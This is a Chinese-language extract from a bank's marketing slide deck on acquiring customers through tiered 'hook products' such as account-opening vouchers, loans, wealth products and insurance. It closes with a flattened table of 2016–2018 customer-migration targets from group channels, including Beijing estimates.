获客：钩子产品收入提升策略核心策略主打产品杀手产品原子弹：提供高价值礼品/现金卷等，帮助大范围、大威力获客，例如开户享200元神州专车打车卷炸弹：增加外部触点或开发银行特色产品，在指定范围、快速获客，例如章鱼计划、零活宝常规钩子：产品类、增值类、红包类1项功能：支付结算3个起步产品：按揭、健康专享理财、短期高收益产品N个辅助产品或服务：产品类、支持类、代发类、增值类信用卡：实时审批、活动多消费信贷：线上极速放款理财产品：智能投顾、高收益收入提升策略钩子产品银保：最全的保障产品房贷：线上申请、快速放款抓黏提各渠道3年迁徙客户目标客户迁徙承接解决方案集团资源总迁徙量年度拆分2016移动化率（APP）2017 2018北京年度拆分2016 2017 2018占比寿险3000 万100% 500 1250 1250 14.55 2.90% 36.38 36.38 一账通1000 万100% 150 425 425陆金所1000 万100% 150 425 425产险900 万100% 150 375 375 5.43 3.60% 13.58 13.58 养老险500 万100% 80 210 210 7.38 9.20% 19.37 19.37 好医生500 万100% 80 210 210证券300 万100% 50 125 125壹钱包300 万100% 50 125 125公私联动800 万100% 100 250 250 6.77 6.77% 16.93 16.93 合计7500 万100% 1,210 3,145 3,145 34.13 86.26 86.26根据已确定渠道目标，预估2016年北京需迁徙客户34.13万，截至2018年累计迁徙206.6万。